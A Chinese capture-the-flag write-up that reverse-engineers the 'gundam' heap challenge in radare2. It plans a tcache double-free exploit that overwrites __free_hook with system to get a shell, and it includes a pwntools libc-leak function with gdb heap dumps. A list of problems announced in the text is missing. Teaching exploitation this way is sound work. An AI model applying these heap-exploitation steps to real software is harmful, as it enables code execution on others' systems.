题目复现

$ file gundam 
gundam: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5643cd77b84ace35448d38fc49e4d3668ef45fea, stripped
$ checksec -f gundam
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   Yes     0               4       gundam
$ strings libc.so.6 | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2.1) stable release version 2.26, by Roland McGrath et al.
Compiled by GNU CC version 6.4.0 20171010.

保护全开,也默认 ASLR 开。libc 版本 2.26,所以应该还是考察 tcache(参考章节4.14)。

玩一下:

$ ./gundam
...                                     # 创建了两个 gundam
1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 2

Gundam[0] :AAAA
Type[0] :Freedom

Gundam[1] :BBBB
Type[1] :Strike Freedom

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 3
Which gundam do you want to Destory:0   # 第一次销毁 gundam 0,成功

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 3
Which gundam do you want to Destory:0   # 第二次销毁 gundam 0,成功

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 2                         # 此时剩下 gundam 1

Gundam[1] :BBBB
Type[1] :Strike Freedom

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 4                         # 销毁 factory
Done!

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 2                         # gundam 1 没有变化

Gundam[1] :BBBB
Type[1] :Strike Freedom

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 3                         # 第三次销毁 gundam 0,失败
Which gundam do you want to Destory:0
Invalid choice

根据上面的结果也能猜出一些东西。比如在没有销毁 factory 的情况下,可以多次销毁 gundam。而销毁 factory 不会对没有销毁的 gundam 造成影响。

题目解析

main

[0x000009e0]> pdf @ main
/ (fcn) main 122
|   main ();
|           ; var int local_18h @ rbp-0x18
|           ; var int local_12h @ rbp-0x12
|           ; var int local_8h @ rbp-0x8
|           ; DATA XREF from 0x000009fd (entry0)
|           0x000010c5      push rbp
|           0x000010c6      mov rbp, rsp
|           0x000010c9      sub rsp, 0x20
|           0x000010cd      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2170 ; '('
|           0x000010d6      mov qword [local_8h], rax
|           0x000010da      xor eax, eax
|           0x000010dc      mov eax, 0
|           0x000010e1      call sub.setvbuf_22                        ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|           ; JMP XREF from 0x00001192 (main + 205)
|           0x000010e6      mov eax, 0
|           0x000010eb      call sub.puts_aea                          ; int puts(const char *s)
|           0x000010f0      lea rax, [local_12h]
|           0x000010f4      mov edx, 8
|           0x000010f9      mov rsi, rax
|           0x000010fc      mov edi, 0
|           0x00001101      call sym.imp.read                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00001106      lea rax, [local_12h]
|           0x0000110a      mov rdi, rax
|           0x0000110d      call sym.imp.atoi                          ; int atoi(const char *str)
|           0x00001112      mov dword [local_18h], eax                  ; 读入选项
|           0x00001115      cmp dword [local_18h], 5                   ; [0x5:4]=257
|       ,=< 0x00001119      ja 0x1185
|       |   0x0000111b      mov eax, dword [local_18h]
|       |   0x0000111e      lea rdx, [rax*4]
|       |   0x00001126      lea rax, [0x00001368]                       ; 获取跳转表
|       |   0x0000112d      mov eax, dword [rdx + rax]                  ; 获取对应表项
|       |   0x00001130      movsxd rdx, eax
|       |   0x00001133      lea rax, [0x00001368]
|       |   0x0000113a      add rax, rdx                               ; '('
\       |   0x0000113d      jmp rax                                     ; 跳到相应函数
[0x000009e0]> px 20 @ 0x00001368+0x4
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x0000136c  d7fd ffff e3fd ffff effd ffff fbfd ffff  ................
0x0000137c  07fe ffff
[0x000009e0]> pd 20 @ 0x0000113f
        :   0x0000113f      mov eax, 0
        :   0x00001144      call sub.malloc_b7d                                 ; 选项 1
       ,==< 0x00001149      jmp 0x1192
       |:   0x0000114b      mov eax, 0
       |:   0x00001150      call sub.Gundam__u__:_s_ef4                         ; 选项 2
      ,===< 0x00001155      jm  p 0x1192
      ||:   0x00001157      mov eax, 0
      ||:   0x0000115c      call sub.Which_gundam_do_you_want_to_Destory:_d32   ; 选项 3
     ,====< 0x00001161      jmp 0x1192
     |||:   0x00001163      mov eax, 0
     |||:   0x00001168      call sub.Done_e22                                   ; 选项 4
    ,=====< 0x0000116d      jmp 0x1192
    ||||:   0x0000116f      lea rdi, str.Exit....                      ; 0x135c ; "Exit...."
    ||||:   0x00001176      call sym.imp.puts                          ; int puts(const char *s)
    ||||:   0x0000117b      mov edi, 0
    ||||:   0x00001180      call sym.imp.exit                                   ; 选项 5
    ||||:   ; JMP XREF from 0x00001119 (main)
    ||||:   0x00001185      lea rdi, str.Invalid_choice                ; 0x130d ; "Invalid choice"
    ||||:   0x0000118c      call sym.imp.puts                          ; int puts(const char *s)
    ||||:   0x00001191      nop
    |||||   ; JMP XREF from 0x00001149 (main + 132)
    |||||   ; JMP XREF from 0x00001155 (main + 144)
    |||||   ; JMP XREF from 0x00001161 (main + 156)
    |||||   ; JMP XREF from 0x0000116d (main + 168)
    `````=< 0x00001192      jmp 0x10e6                                 ; main+0x21

一个典型的 switch-case 跳转结构。

Build a gundam

[0x000009e0]> pdf @ sub.malloc_b7d 
/ (fcn) sub.malloc_b7d 437
|   sub.malloc_b7d (int arg_8h);
|           ; var int local_20h @ rbp-0x20
|           ; var int local_1ch @ rbp-0x1c
|           ; var int local_18h @ rbp-0x18
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; var int local_0h @ rbp-0x0
|           ; arg int arg_8h @ rbp+0x8
|           ; UNKNOWN XREF from 0x00001144 (main + 127)
|           ; CALL XREF from 0x00001144 (main + 127)
|           0x00000b7d      push rbp
|           0x00000b7e      mov rbp, rsp
|           0x00000b81      sub rsp, 0x20
|           0x00000b85      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2170 ; '('
|           0x00000b8e      mov qword [local_8h], rax
|           0x00000b92      xor eax, eax
|           0x00000b94      mov qword [local_18h], 0                    ; 初始化 [local_18h]
|           0x00000b9c      mov qword [local_10h], 0                    ; 初始化 [local_10h]
|           0x00000ba4      mov eax, dword [0x0020208c]                ; [0x20208c:4]=0 ; 取出当前 gundam 数量
|           0x00000baa      cmp eax, 8
|       ,=< 0x00000bad      ja 0xd17                                    ; 如果大于 8,函数返回
|       |   0x00000bb3      mov edi, 0x28                               ; 否则继续
|       |   0x00000bb8      call sym.imp.malloc                         ; [local_18h] = malloc(0x28) 分配一块内存作为 gundam
|       |   0x00000bbd      mov qword [local_18h], rax
|       |   0x00000bc1      mov rax, qword [local_18h]
|       |   0x00000bc5      mov edx, 0x28                              ; '('
|       |   0x00000bca      mov esi, 0
|       |   0x00000bcf      mov rdi, rax
|       |   0x00000bd2      call sym.imp.memset                         ; memset([local_18h], 0, 0x28) 进行初始化
|       |   0x00000bd7      mov edi, 0x100
|       |   0x00000bdc      call sym.imp.malloc                         ; [local_10h] = malloc(0x100) 分配一块内存作为 name
|       |   0x00000be1      mov qword [local_10h], rax
|       |   0x00000be5      cmp qword [local_10h], 0
|      ,==< 0x00000bea      jne 0xc02
|      ||   0x00000bec      lea rdi, str.error                         ; 0x1295 ; "error !"
|      ||   0x00000bf3      call sym.imp.puts                          ; int puts(const char *s)
|      ||   0x00000bf8      mov edi, 0xffffffff                        ; -1
|      ||   0x00000bfd      call sym.imp.exit                          ; void exit(int status)
|      ||   ; JMP XREF from 0x00000bea (sub.malloc_b7d)
|      `--> 0x00000c02      lea rdi, str.The_name_of_gundam_:          ; 0x129d ; "The name of gundam :"
|       |   0x00000c09      mov eax, 0
|       |   0x00000c0e      call sym.imp.printf                        ; int printf(const char *format)
|       |   0x00000c13      mov rax, qword [local_10h]
|       |   0x00000c17      mov edx, 0x100
|       |   0x00000c1c      mov rsi, rax
|       |   0x00000c1f      mov edi, 0
|       |   0x00000c24      call sym.imp.read                           ; read(0, [local_10h], 0x100) 读入字符到 name
|       |   0x00000c29      mov rax, qword [local_18h]                  ; 取出 gundam
|       |   0x00000c2d      mov rdx, qword [local_10h]
|       |   0x00000c31      mov qword [rax + 8], rdx                    ; 将 name 放到 gundam->name
|       |   0x00000c35      lea rdi, str.The_type_of_the_gundam_:      ; 0x12b2 ; "The type of the gundam :"
|       |   0x00000c3c      mov eax, 0
|       |   0x00000c41      call sym.imp.printf                        ; int printf(const char *format)
|       |   0x00000c46      lea rax, [local_20h]
|       |   0x00000c4a      mov rsi, rax
|       |   0x00000c4d      lea rdi, [0x000012cb]                      ; "%d"
|       |   0x00000c54      mov eax, 0
|       |   0x00000c59      call sym.imp.__isoc99_scanf                 ; 读入 type 到 [local_20h]
|       |   0x00000c5e      mov eax, dword [local_20h]
|       |   0x00000c61      test eax, eax
|      ,==< 0x00000c63      js 0xc6d
|      ||   0x00000c65      mov eax, dword [local_20h]                  ; 大于等于 0 时继续
|      ||   0x00000c68      cmp eax, 2
|     ,===< 0x00000c6b      jle 0xc83                                   ; 小于等于 2 时跳转
|     |||   ; JMP XREF from 0x00000c63 (sub.malloc_b7d)
|     |`--> 0x00000c6d      lea rdi, str.Invalid.                      ; 0x12ce ; "Invalid."
|     | |   0x00000c74      call sym.imp.puts                          ; int puts(const char *s)
|     | |   0x00000c79      mov edi, 0
|     | |   0x00000c7e      call sym.imp.exit                          ; void exit(int status)
|     | |   ; JMP XREF from 0x00000c6b (sub.malloc_b7d)
|     `---> 0x00000c83      mov eax, dword [local_20h]
|       |   0x00000c86      movsxd rdx, eax
|       |   0x00000c89      mov rax, rdx
|       |   0x00000c8c      shl rax, 2
|       |   0x00000c90      add rax, rdx                               ; '('
|       |   0x00000c93      shl rax, 2                                  ; 最后得到 rax = rax * 20
|       |   0x00000c97      lea rdx, str.Freedom                       ; 0x202020 ; "Freedom" ; 取出起始地址
|       |   0x00000c9e      add rdx, rax                                ; rdx 为字符串 type 的地址
|       |   0x00000ca1      mov rax, qword [local_18h]
|       |   0x00000ca5      add rax, 0x10                               ; 取出 gundam->type
|       |   0x00000ca9      mov rsi, rdx
|       |   0x00000cac      mov rdi, rax
|       |   0x00000caf      call sym.imp.strcpy                         ; strcpy(gundam->type, type) 将字符串复制过去
|       |   0x00000cb4      mov rax, qword [local_18h]                  ; 取出 gundam
|       |   0x00000cb8      mov dword [rax], 1                          ; 将 gundam->flag 赋值为 1
|       |   0x00000cbe      mov dword [local_1ch], 0                    ; 循环计数 i,初始化为 0
|      ,==< 0x00000cc5      jmp 0xd02                                   ; 开始循环
|      ||   ; JMP XREF from 0x00000d06 (sub.malloc_b7d)
|     .---> 0x00000cc7      mov eax, dword [local_1ch]
|     :||   0x00000cca      lea rdx, [rax*8]
|     :||   0x00000cd2      lea rax, [0x002020a0]                       ; 取出 factory 地址
|     :||   0x00000cd9      mov rax, qword [rdx + rax]                  ; 找到 factory[i]
|     :||   0x00000cdd      test rax, rax
|    ,====< 0x00000ce0      jne 0xcfe                                   ; 不为 0 时继续下一次循环
|    |:||   0x00000ce2      mov eax, dword [local_1ch]                  ; 否则继续
|    |:||   0x00000ce5      lea rcx, [rax*8]
|    |:||   0x00000ced      lea rax, [0x002020a0]
|    |:||   0x00000cf4      mov rdx, qword [local_18h]                  ; 取出 gundam
|    |:||   0x00000cf8      mov qword [rcx + rax], rdx                  ; 将 gundam 放到 factory[i]
|   ,=====< 0x00000cfc      jmp 0xd08                                   ; 结束循环
|   ||:||   ; JMP XREF from 0x00000ce0 (sub.malloc_b7d)
|   |`----> 0x00000cfe      add dword [local_1ch], 1                    ; i = i + 1
|   | :||   ; JMP XREF from 0x00000cc5 (sub.malloc_b7d)
|   | :`--> 0x00000d02      cmp dword [local_1ch], 8                    ; 最多能有 9 个 gundam
|   | `===< 0x00000d06      jbe 0xcc7                                   ; 循环继续
|   |   |   ; JMP XREF from 0x00000cfc (sub.malloc_b7d)
|   `-----> 0x00000d08      mov eax, dword [0x0020208c]                ; [0x20208c:4]=0
|       |   0x00000d0e      add eax, 1                                  ; gundam 数量 + 1
|       |   0x00000d11      mov dword [0x0020208c], eax                ; [0x20208c:4]=0 ; 放回去
|       |   ; JMP XREF from 0x00000bad (sub.malloc_b7d)
|       `-> 0x00000d17      mov eax, 0
|           0x00000d1c      mov rcx, qword [local_8h]
|           0x00000d20      xor rcx, qword fs:[0x28]
|       ,=< 0x00000d29      je 0xd30
|       |   0x00000d2b      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00000d29 (sub.malloc_b7d)
|       `-> 0x00000d30      leave
\           0x00000d31      ret
[0x000009e0]> px 60 @ 0x00202020
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00202020  4672 6565 646f 6d00 0000 0000 0000 0000  Freedom.........
0x00202030  0000 0000 5374 7269 6b65 2046 7265 6564  ....Strike Freed
0x00202040  6f6d 0000 0000 0000 4167 6965 7300 0000  om......Agies...
0x00202050  0000 0000 0000 0000 0000 0000

通过分析这个函数,可以得到 gundam 结构体(大小为0x28)和 factory(地址0x002020a0) 数组:

struct gundam {
    uint32_t flag;
    char *name;
    char type[24];
} gundam;

struct gundam *factory[9];

另外 gundam->name 指向一块 0x100 大小的空间。gundam 的数量存放在 0x0020208c

从读入 name 的操作中我们发现,程序并没有在末尾设置 ‘\x00’,可能导致信息泄漏(以’\x0a’结尾)。

Visit gundams

[0x000009e0]> pdf @ sub.Gundam__u__:_s_ef4 
/ (fcn) sub.Gundam__u__:_s_ef4 254
|   sub.Gundam__u__:_s_ef4 (int arg_8h);
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; arg int arg_8h @ rbp+0x8
|           ; CALL XREF from 0x00001150 (main + 139)
|           0x00000ef4      push rbp
|           0x00000ef5      mov rbp, rsp
|           0x00000ef8      sub rsp, 0x10
|           0x00000efc      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2170 ; '('
|           0x00000f05      mov qword [local_8h], rax
|           0x00000f09      xor eax, eax
|           0x00000f0b      mov eax, dword [0x0020208c]                ; [0x20208c:4]=0 ; 取出 gundam_num
|           0x00000f11      test eax, eax
|       ,=< 0x00000f13      jne 0xf26                                   ; 不等于 0 时跳转
|       |   0x00000f15      lea rdi, str.No_gundam_produced            ; 0x1322 ; "No gundam produced!"
|       |   0x00000f1c      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x00000f21      jmp 0xfd7
|      ||   ; JMP XREF from 0x00000f13 (sub.Gundam__u__:_s_ef4)
|      |`-> 0x00000f26      mov dword [local_ch], 0                     ; 循环计数 i,初始化为 0
|      |,=< 0x00000f2d      jmp 0xfcd                                   ; 开始循环
|      ||   ; JMP XREF from 0x00000fd1 (sub.Gundam__u__:_s_ef4)
|     .---> 0x00000f32      mov eax, dword [local_ch]
|     :||   0x00000f35      lea rdx, [rax*8]
|     :||   0x00000f3d      lea rax, [0x002020a0]
|     :||   0x00000f44      mov rax, qword [rdx + rax]                  ; 取出 factory[i]
|     :||   0x00000f48      test rax, rax
|    ,====< 0x00000f4b      je 0xfc9                                    ; 为 0 时跳转,下一次循环
|    |:||   0x00000f4d      mov eax, dword [local_ch]
|    |:||   0x00000f50      lea rdx, [rax*8]
|    |:||   0x00000f58      lea rax, [0x002020a0]
|    |:||   0x00000f5f      mov rax, qword [rdx + rax]
|    |:||   0x00000f63      mov eax, dword [rax]                        ; 取出 factory[i]->flag
|    |:||   0x00000f65      test eax, eax
|   ,=====< 0x00000f67      je 0xfc9                                    ; flag 为 0 时跳转,下一次循环
|   ||:||   0x00000f69      mov eax, dword [local_ch]
|   ||:||   0x00000f6c      lea rdx, [rax*8]
|   ||:||   0x00000f74      lea rax, [0x002020a0]
|   ||:||   0x00000f7b      mov rax, qword [rdx + rax]
|   ||:||   0x00000f7f      mov rdx, qword [rax + 8]                    ; 取出 factory[i]->name
|   ||:||   0x00000f83      mov eax, dword [local_ch]
|   ||:||   0x00000f86      mov esi, eax
|   ||:||   0x00000f88      lea rdi, str.Gundam__u__:_s                ; 0x1336 ; "\nGundam[%u] :%s"
|   ||:||   0x00000f8f      mov eax, 0
|   ||:||   0x00000f94      call sym.imp.printf                         ; 打印出 factory[i]->name
|   ||:||   0x00000f99      mov eax, dword [local_ch]
|   ||:||   0x00000f9c      lea rdx, [rax*8]
|   ||:||   0x00000fa4      lea rax, [0x002020a0]
|   ||:||   0x00000fab      mov rax, qword [rdx + rax]
|   ||:||   0x00000faf      lea rdx, [rax + 0x10]                       ; 取出 factory[i]->type
|   ||:||   0x00000fb3      mov eax, dword [local_ch]
|   ||:||   0x00000fb6      mov esi, eax
|   ||:||   0x00000fb8      lea rdi, str.Type__u__:_s                  ; 0x1346 ; "Type[%u] :%s\n"
|   ||:||   0x00000fbf      mov eax, 0
|   ||:||   0x00000fc4      call sym.imp.printf                         ; 打印出 factory[i]->type
|   ||:||   ; JMP XREF from 0x00000f4b (sub.Gundam__u__:_s_ef4)
|   ||:||   ; JMP XREF from 0x00000f67 (sub.Gundam__u__:_s_ef4)
|   ``----> 0x00000fc9      add dword [local_ch], 1                     ; i = i + 1
|     :||   ; JMP XREF from 0x00000f2d (sub.Gundam__u__:_s_ef4)
|     :|`-> 0x00000fcd      cmp dword [local_ch], 8                     ; 最多有 9 个 gundam
|     `===< 0x00000fd1      jbe 0xf32                                   ; 循环继续
|      |    ; JMP XREF from 0x00000f21 (sub.Gundam__u__:_s_ef4)
|      `--> 0x00000fd7      mov eax, 0
|           0x00000fdc      mov rcx, qword [local_8h]
|           0x00000fe0      xor rcx, qword fs:[0x28]
|       ,=< 0x00000fe9      je 0xff0
|       |   0x00000feb      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00000fe9 (sub.Gundam__u__:_s_ef4)
|       `-> 0x00000ff0      leave
\           0x00000ff1      ret

该函数先判断 gundam_num 是否为 0,如果不是,再根据 factory[i] 和 factory[i]->flag 判断某个 gundam 是否存在,如果存在,就将它的 name 和 type 打印出来。

Destory a gundam

[0x000009e0]> pdf @ sub.Which_gundam_do_you_want_to_Destory:_d32 
/ (fcn) sub.Which_gundam_do_you_want_to_Destory:_d32 240
|   sub.Which_gundam_do_you_want_to_Destory:_d32 ();
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x0000115c (main + 151)
|           0x00000d32      push rbp
|           0x00000d33      mov rbp, rsp
|           0x00000d36      sub rsp, 0x10
|           0x00000d3a      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2170 ; '('
|           0x00000d43      mov qword [local_8h], rax
|           0x00000d47      xor eax, eax
|           0x00000d49      mov eax, dword [0x0020208c]                ; [0x20208c:4]=0 ; 取出 gundam_num
|           0x00000d4f      test eax, eax
|       ,=< 0x00000d51      jne 0xd64                                   ; 不等于 0 时跳转
|       |   0x00000d53      lea rdi, str.No_gundam                     ; 0x12d7 ; "No gundam"
|       |   0x00000d5a      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x00000d5f      jmp 0xe07
|      ||   ; JMP XREF from 0x00000d51 (sub.Which_gundam_do_you_want_to_Destory:_d32)
|      |`-> 0x00000d64      lea rdi, str.Which_gundam_do_you_want_to_Destory: ; 0x12e8 ; "Which gundam do you want to Destory:"
|      |    0x00000d6b      mov eax, 0
|      |    0x00000d70      call sym.imp.printf                        ; int printf(const char *format)
|      |    0x00000d75      lea rax, [local_ch]
|      |    0x00000d79      mov rsi, rax
|      |    0x00000d7c      lea rdi, [0x000012cb]                      ; "%d"
|      |    0x00000d83      mov eax, 0
|      |    0x00000d88      call sym.imp.__isoc99_scanf                 ; 读入序号 i 到 [local_ch]
|      |    0x00000d8d      mov eax, dword [local_ch]
|      |    0x00000d90      cmp eax, 8
|      |,=< 0x00000d93      ja 0xdb2                                    ; 如果大于 8,函数结束
|      ||   0x00000d95      mov eax, dword [local_ch]                   ; 否则继续
|      ||   0x00000d98      mov eax, eax
|      ||   0x00000d9a      lea rdx, [rax*8]
|      ||   0x00000da2      lea rax, [0x002020a0]
|      ||   0x00000da9      mov rax, qword [rdx + rax]                  ; 取出 factory[i]
|      ||   0x00000dad      test rax, rax
|     ,===< 0x00000db0      jne 0xdc5                                   ; 如果不为 0,跳转
|     |||   ; JMP XREF from 0x00000d93 (sub.Which_gundam_do_you_want_to_Destory:_d32)
|     ||`-> 0x00000db2      lea rdi, str.Invalid_choice                ; 0x130d ; "Invalid choice"
|     ||    0x00000db9      call sym.imp.puts                          ; int puts(const char *s)
|     ||    0x00000dbe      mov eax, 0
|     ||,=< 0x00000dc3      jmp 0xe0c
|     |||   ; JMP XREF from 0x00000db0 (sub.Which_gundam_do_you_want_to_Destory:_d32)
|     `---> 0x00000dc5      mov eax, dword [local_ch]
|      ||   0x00000dc8      mov eax, eax
|      ||   0x00000dca      lea rdx, [rax*8]
|      ||   0x00000dd2      lea rax, [0x002020a0]
|      ||   0x00000dd9      mov rax, qword [rdx + rax]                  ; 取出 factory[i]
|      ||   0x00000ddd      mov dword [rax], 0                          ; 将 factory[i]->flag 置为 0
|      ||   0x00000de3      mov eax, dword [local_ch]
|      ||   0x00000de6      mov eax, eax
|      ||   0x00000de8      lea rdx, [rax*8]
|      ||   0x00000df0      lea rax, [0x002020a0]
|      ||   0x00000df7      mov rax, qword [rdx + rax]
|      ||   0x00000dfb      mov rax, qword [rax + 8]                    ; 取出 factory[i]->name
|      ||   0x00000dff      mov rdi, rax
|      ||   0x00000e02      call sym.imp.free                           ; free(factory[i]->name)
|      ||   ; JMP XREF from 0x00000d5f (sub.Which_gundam_do_you_want_to_Destory:_d32)
|      `--> 0x00000e07      mov eax, 0
|       |   ; JMP XREF from 0x00000dc3 (sub.Which_gundam_do_you_want_to_Destory:_d32)
|       `-> 0x00000e0c      mov rcx, qword [local_8h]
|           0x00000e10      xor rcx, qword fs:[0x28]
|       ,=< 0x00000e19      je 0xe20
|       |   0x00000e1b      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00000e19 (sub.Which_gundam_do_you_want_to_Destory:_d32)
|       `-> 0x00000e20      leave
\           0x00000e21      ret

该函数用于销毁 gundam,它先将 gundam->flag 置为 0,再释放掉 gundam->name。

这里有几个问题:

Blow up the factory

[0x000009e0]> pdf @ sub.Done_e22 
/ (fcn) sub.Done_e22 210
|   sub.Done_e22 (int arg_8h);
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; arg int arg_8h @ rbp+0x8
|           ; CALL XREF from 0x00001168 (main + 163)
|           0x00000e22      push rbp
|           0x00000e23      mov rbp, rsp
|           0x00000e26      sub rsp, 0x10
|           0x00000e2a      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2170 ; '('
|           0x00000e33      mov qword [local_8h], rax
|           0x00000e37      xor eax, eax
|           0x00000e39      mov dword [local_ch], 0                     ; 循环计数 i,初始化为 0
|       ,=< 0x00000e40      jmp 0xec7                                   ; 开始循环
|       |   ; JMP XREF from 0x00000ecb (sub.Done_e22)
|      .--> 0x00000e45      mov eax, dword [local_ch]
|      :|   0x00000e48      lea rdx, [rax*8]
|      :|   0x00000e50      lea rax, [0x002020a0]
|      :|   0x00000e57      mov rax, qword [rdx + rax]                  ; 取出 factory[i]
|      :|   0x00000e5b      test rax, rax
|     ,===< 0x00000e5e      je 0xec3                                    ; 为 0 时跳转,下一次循环
|     |:|   0x00000e60      mov eax, dword [local_ch]                   ; 否则继续
|     |:|   0x00000e63      lea rdx, [rax*8]
|     |:|   0x00000e6b      lea rax, [0x002020a0]
|     |:|   0x00000e72      mov rax, qword [rdx + rax]
|     |:|   0x00000e76      mov eax, dword [rax]                        ; 取出 factory[i]->flag
|     |:|   0x00000e78      test eax, eax
|    ,====< 0x00000e7a      jne 0xec3                                   ; 不等于 0 时跳转,下一次循环
|    ||:|   0x00000e7c      mov eax, dword [local_ch]                   ; 否则继续
|    ||:|   0x00000e7f      lea rdx, [rax*8]
|    ||:|   0x00000e87      lea rax, [0x002020a0]
|    ||:|   0x00000e8e      mov rax, qword [rdx + rax]                  ; 取出 factory[i]
|    ||:|   0x00000e92      mov rdi, rax
|    ||:|   0x00000e95      call sym.imp.free                           ; free(factory[i])
|    ||:|   0x00000e9a      mov eax, dword [local_ch]
|    ||:|   0x00000e9d      lea rdx, [rax*8]
|    ||:|   0x00000ea5      lea rax, [0x002020a0]
|    ||:|   0x00000eac      mov qword [rdx + rax], 0                    ; 将 factory[i] 置为 0
|    ||:|   0x00000eb4      mov eax, dword [0x0020208c]                ; [0x20208c:4]=0 ; 取出 gundam_num
|    ||:|   0x00000eba      sub eax, 1                                  ; gundam_num -= 1
|    ||:|   0x00000ebd      mov dword [0x0020208c], eax                ; [0x20208c:4]=0 ; 写回去
|    ||:|   ; JMP XREF from 0x00000e5e (sub.Done_e22)
|    ||:|   ; JMP XREF from 0x00000e7a (sub.Done_e22)
|    ``---> 0x00000ec3      add dword [local_ch], 1                     ; i = i + 1
|      :|   ; JMP XREF from 0x00000e40 (sub.Done_e22)
|      :`-> 0x00000ec7      cmp dword [local_ch], 8                     ; 最多有 9 个 gundam
|      `==< 0x00000ecb      jbe 0xe45                                   ; 循环继续
|           0x00000ed1      lea rdi, str.Done                          ; 0x131c ; "Done!"
|           0x00000ed8      call sym.imp.puts                          ; int puts(const char *s)
|           0x00000edd      nop
|           0x00000ede      mov rax, qword [local_8h]
|           0x00000ee2      xor rax, qword fs:[0x28]
|       ,=< 0x00000eeb      je 0xef2
|       |   0x00000eed      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00000eeb (sub.Done_e22)
|       `-> 0x00000ef2      leave
\           0x00000ef3      ret

该函数会找出所有 factory[i] 不为 0,且 factory[i]->flag 为 0 的 gundam,然后将该 gundam 结构体释放掉,factory[i] 置为 0,最后 gundam_num 每次减 1。

经过这个过程,销毁 gundam 留下的问题基本解决了,除了 name 指针依然存在。

Exploit

所以利用过程如下:

  1. 利用被放入 unsorted bin 的 chunk 泄漏 libc 基址,可以计算出 __free_hooksystem 的地址。
  2. 利用 double free,将 __free_hook 修改为 system
  3. 当调用 free 的时候就会调用 system,获得 shell。

leak

def leak():
    global __free_hook_addr
    global system_addr

    for i in range(9):
        build('A'*7)
    for i in range(7):
        destroy(i)      # tcache bin
    destroy(7)          # unsorted bin

    blow_up()
    for i in range(8):
        build('A'*7)

    visit()
    leak =  u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
    libc_base = leak - 0x3dac78     # 0x3dac78 = libc_base - leak
    __free_hook_addr = libc_base + libc.symbols['__free_hook']
    system_addr = libc_base + libc.symbols['system']

    log.info("libc base: 0x%x" % libc_base)
    log.info("__free_hook address: 0x%x" % __free_hook_addr)
    log.info("system address: 0x%x" % system_addr)

chunk 被放进 unsorted bin 时:

gdb-peda$ vmmap heap
Start              End                Perm      Name
0x0000555555757000 0x0000555555778000 rw-p      [heap]
gdb-peda$ x/30gx 0x0000555555757000+0x10
0x555555757010: 0x0000000000000000      0x0700000000000000  <-- counts
0x555555757020: 0x0000000000000000      0x0000000000000000
0x555555757030: 0x0000000000000000      0x0000000000000000
0x555555757040: 0x0000000000000000      0x0000000000000000
0x555555757050: 0x0000000000000000      0x0000000000000000
0x555555757060: 0x0000000000000000      0x0000000000000000
0x555555757070: 0x0000000000000000      0x0000000000000000
0x555555757080: 0x0000000000000000      0x0000000000000000
0x555555757090: 0x0000000000000000      0x0000000000000000
0x5555557570a0: 0x0000000000000000      0x0000000000000000
0x5555557570b0: 0x0000000000000000      0x0000000000000000
0x5555557570c0: 0x0000000000000000      0x0000555555757a10  <-- entries
0x5555557570d0: 0x0000000000000000      0x0000000000000000
0x5555557570e0: 0x0000000000000000      0x0000000000000000
0x5555557570f0: 0x0000000000000000      0x0000000000000000
gdb-peda$ x/6gx 0x555555757b50-0x10
0x555555757b40: 0x0000000000000000      0x0000000000000111
0x555555757b50: 0x00007ffff7dd2c78      0x00007ffff7dd2c78  <-- unsorted bin
0x555555757b60: 0x0000000000000000      0x0000000000000000
gdb-peda$ vmmap libc
Start              End                Perm      Name
0x00007ffff79f8000 0x00007ffff7bce000 r-xp      /home/firmy/gundam/libc.so.6
0x00007ffff7bce000 0x00007ffff7dce000 ---p      /home/firmy/gundam/libc.so.6
0x00007ffff7dce000 0x00007ffff7dd2000 r--p      /home/firmy/gundam/libc.so.6
0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p      /home/firmy/gundam/libc.so.6
gdb-peda$ p 0x00007ffff7dd2c78 - 0x00007ffff79f8000
$1 = 0x3dac78

可以看到对应的 tcache bin 中已经放满了 7 个 chunk,所以第 8 块 chunk 被放进了 unsorted bin。

再次 malloc 之后:

gdb-peda$ x/6gx 0x555555757b50-0x10
0x555555757b40: 0x0000000000000000      0x0000000000000111
0x555555757b50: 0x0a41414141414141      0x00007ffff7dd2c78
0x555555757b60: 0x0000000000000000      0x0000000000000000

